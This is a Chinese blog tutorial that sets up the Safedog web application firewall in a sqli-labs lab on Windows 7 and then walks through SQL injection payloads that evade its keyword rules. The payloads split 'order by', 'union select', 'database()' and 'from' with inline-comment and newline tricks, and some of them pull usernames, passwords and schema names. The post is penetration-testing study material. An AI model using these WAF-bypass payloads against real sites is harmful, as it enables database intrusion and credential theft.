安全狗(safedog)安装以及绕过方法

发布于 2022-10-10  2482 次阅读


环境搭建

  • Win7
  • sqli-labs(phpstudy1.8)
  • 安全狗apache4.0

这里简述一下安全狗的安装

安全狗安装需要开启apache系统服务。如果没有开启apache系统服务,这里安装时将会自动填入不了服务的名称,无法继续安装

image-20221009155507182

首先找到phpstudy中的apache的目录

打开管理员cmd,执行安装服务

httpd.exe -k install -n apache2.4.39
image-20221009155706912

安装完成后,关闭phpstudy,手动开启服务

image-20221009155740082

打开后再打开安装包进行安装

到安装插件的时候,自动就会识别服务名,下一步安装即可

image-20221009155919712

可以看到,安全狗已经生效。

WAF的原理

WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截

绕过WAF思想

image-20221009162654468

绕过

order by 语句

image-20221010103524276

可以看到order by 语句被拦截,那他到底是对order防御还是by防御?还是整体?

经过尝试,是对order by整体进行防御

那我们的思想就是讲order by分离。

?id=1 order /*//--/*/ by 3

/**/是内联注释,注释里面是//--/发现这样可以达到绕过的效果

联合查询 union select 语句

有了order by的绕过,那么安全狗对于union select是不是也是整体进行过滤?测试之后,显然也是。

那么还是尝试像order by 一样的方式分割

?id=111 union /*//--/*/ select 1,2,3

成功绕过。

下面这个是最新绕过方式

?id=-1' union /*//--/*/   /*!--+/*%0aselect/*!1,2,3*/  --+

database() 关键字

image-20221010113956770

database()也是被过滤的,那么是不是检测到database字符就过滤呢?

image-20221010114119399
image-20221010114131646

显然只是对database()进行过滤

那么我们还是可以进行分隔

?id=111 union /*//--/*/ select /*!1,database/*//--/*/(),3*/  --+

成功绕过。

?id=111 union /*//--/*/ select /*!1,(select group_concat(username,password) from .users),3*/  --+

不知道为啥,上述payload可以绕过安全狗获取users表中数据

但是如果要知道其他库,则还是需要借助information_schema表

information_schema.schemata

发现不管是怎么注入,始终是绕不过information_schema.schemata,后来发现,from 后面就不能跟东西,不然就会被拦截

image-20221010150925441

写个1也会被拦截

所以应该是对from以及后面跟的会进行匹配,所以也要将from进行分隔

成功绕过

?id=111 union /*//--/*/ select 1,(select group_concat(schema_name) /*!from*/    /*!--+/*%0ainformation_schema./*!schemata*/),3  -- qwe